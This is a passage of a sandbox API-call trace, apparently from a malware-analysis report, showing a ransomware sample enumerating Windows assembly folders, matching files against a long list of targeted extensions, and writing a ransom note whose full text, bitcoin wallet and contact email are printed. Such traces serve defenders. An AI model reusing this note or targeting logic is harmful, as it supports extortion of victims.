cAlternateFileName="100~1.0__")) returned 1 [0100.483] lstrcmpA (lpString1=".", lpString2="1.0.0.0__31bf3856ad364e35") returned -1 [0100.483] lstrcmpA (lpString1="..", lpString2="1.0.0.0__31bf3856ad364e35") returned -1 [0100.484] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\*.*") returned="*.*" [0100.484] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\", lpString2="1.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35" [0100.484] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35") returned 78 [0100.484] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.484] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.484] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.484] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.484] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.484] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc46ec, ftCreationTime.dwHighDateTime=0x1ca0402, ftLastAccessTime.dwLowDateTime=0xb0801c00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x60a004c5, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.WSMan.Runtime.dll", cAlternateFileName="")) returned 1 [0100.485] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.485] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.WSMan.Runtime.dll") returned -1 [0100.485] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.WSMan.Runtime.dll") returned -1 [0100.485] lstrcmpiA (lpString1="", lpString2="Microsoft.WSMan.Runtime.dll") returned -1 [0100.485] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.485] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\" [0100.485] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\") returned="" [0100.485] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.485] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.485] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.wsman.runtime\\1.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.486] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.486] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.488] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.488] CloseHandle (hObject=0x90) returned 1 [0100.488] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\", lpString2="Microsoft.WSMan.Runtime.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll" [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.ems") returned 0 [0100.488] lstrlenA (lpString="*.ems") returned 5 [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.db") returned 0 [0100.488] lstrlenA (lpString="*.db") returned 4 [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.dbf") returned 0 [0100.488] lstrlenA (lpString="*.dbf") returned 5 [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.myox") returned 0 [0100.488] lstrlenA (lpString="*.myox") returned 6 [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.myo") returned 0 [0100.488] lstrlenA (lpString="*.myo") returned 5 [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qbw") returned 0 [0100.488] lstrlenA (lpString="*.qbw") returned 5 [0100.488] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qbb") returned 0 [0100.488] lstrlenA (lpString="*.qbb") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qbm") returned 0 [0100.489] lstrlenA (lpString="*.qbm") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qbo") returned 0 [0100.489] lstrlenA (lpString="*.qbo") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qbx") returned 0 [0100.489] lstrlenA (lpString="*.qbx") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qba") returned 0 [0100.489] lstrlenA (lpString="*.qba") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qby") returned 0 [0100.489] lstrlenA (lpString="*.qby") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qbj") returned 0 [0100.489] lstrlenA (lpString="*.qbj") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.ofx") returned 0 [0100.489] lstrlenA (lpString="*.ofx") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.qif") returned 0 [0100.489] lstrlenA (lpString="*.qif") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mye") returned 0 [0100.489] lstrlenA (lpString="*.mye") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mbox") returned 0 [0100.489] lstrlenA (lpString="*.mbox") returned 6 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.eml") returned 0 [0100.489] lstrlenA (lpString="*.eml") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.pst") returned 0 [0100.489] lstrlenA (lpString="*.pst") returned 5 [0100.489] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.ost") returned 0 [0100.490] lstrlenA (lpString="*.ost") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.idx") returned 0 [0100.490] lstrlenA (lpString="*.idx") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.dbx") returned 0 [0100.490] lstrlenA (lpString="*.dbx") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.sql") returned 0 [0100.490] lstrlenA (lpString="*.sql") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mdb") returned 0 [0100.490] lstrlenA (lpString="*.mdb") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.fdb") returned 0 [0100.490] lstrlenA (lpString="*.fdb") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.wab") returned 0 [0100.490] lstrlenA (lpString="*.wab") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.dat") returned 0 [0100.490] lstrlenA (lpString="*.dat") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.txt") returned 0 [0100.490] lstrlenA (lpString="*.txt") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.jpeg") returned 0 [0100.490] lstrlenA (lpString="*.jpeg") returned 6 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.jpg") returned 0 [0100.490] lstrlenA (lpString="*.jpg") returned 5 [0100.490] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.png") returned 0 [0100.490] lstrlenA (lpString="*.png") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.php") returned 0 [0100.491] lstrlenA (lpString="*.php") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.cs") returned 0 [0100.491] lstrlenA (lpString="*.cs") returned 4 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.cpp") returned 0 [0100.491] lstrlenA (lpString="*.cpp") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.rar") returned 0 [0100.491] lstrlenA (lpString="*.rar") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.zip") returned 0 [0100.491] lstrlenA (lpString="*.zip") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.html") returned 0 [0100.491] lstrlenA (lpString="*.html") returned 6 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.htm") returned 0 [0100.491] lstrlenA (lpString="*.htm") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.xlsx") returned 0 [0100.491] lstrlenA (lpString="*.xlsx") returned 6 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.xls") returned 0 [0100.491] lstrlenA (lpString="*.xls") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mp4") returned 0 [0100.491] lstrlenA (lpString="*.mp4") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.ppt") returned 0 [0100.491] lstrlenA (lpString="*.ppt") returned 5 [0100.491] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.pptx") returned 0 [0100.491] lstrlenA (lpString="*.pptx") returned 6 [0100.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.doc") returned 0 [0100.492] lstrlenA (lpString="*.doc") returned 5 [0100.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.dot") returned 0 [0100.492] lstrlenA (lpString="*.dot") returned 5 [0100.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.docx") returned 0 [0100.492] lstrlenA (lpString="*.docx") returned 6 [0100.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.7z") returned 0 [0100.492] lstrlenA (lpString="*.7z") returned 4 [0100.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.tar") returned 0 [0100.492] lstrlenA (lpString="*.tar") returned 5 [0100.492] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.bz2") returned 0 [0100.493] lstrlenA (lpString="*.bz2") returned 5 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.gz") returned 0 [0100.493] lstrlenA (lpString="*.gz") returned 4 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mkv") returned 0 [0100.493] lstrlenA (lpString="*.mkv") returned 5 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.eml") returned 0 [0100.493] lstrlenA (lpString="*.eml") returned 5 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.msg") returned 0 [0100.493] lstrlenA (lpString="*.msg") returned 5 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.edb") returned 0 [0100.493] lstrlenA (lpString="*.edb") returned 5 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.accdb") returned 0 [0100.493] lstrlenA (lpString="*.accdb") returned 7 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.odb") returned 0 [0100.493] lstrlenA (lpString="*.odb") returned 5 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.java") returned 0 [0100.493] lstrlenA (lpString="*.java") returned 6 [0100.493] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.asm") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.pfx") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.pem") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.p12") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.gpg") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.vsd") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.odg") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.raw") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.nef") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.svg") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.psd") returned 0 [0100.494] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.vmx") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.vmdk") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.vdi") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.lay6") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.mpeg") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.djvu") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.tiff") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.backup") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.pdf") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.cert") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.docm") returned 0 [0100.495] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll", pszSpec="*.xlsm") returned 0 [0100.495] PathMatchSpecA 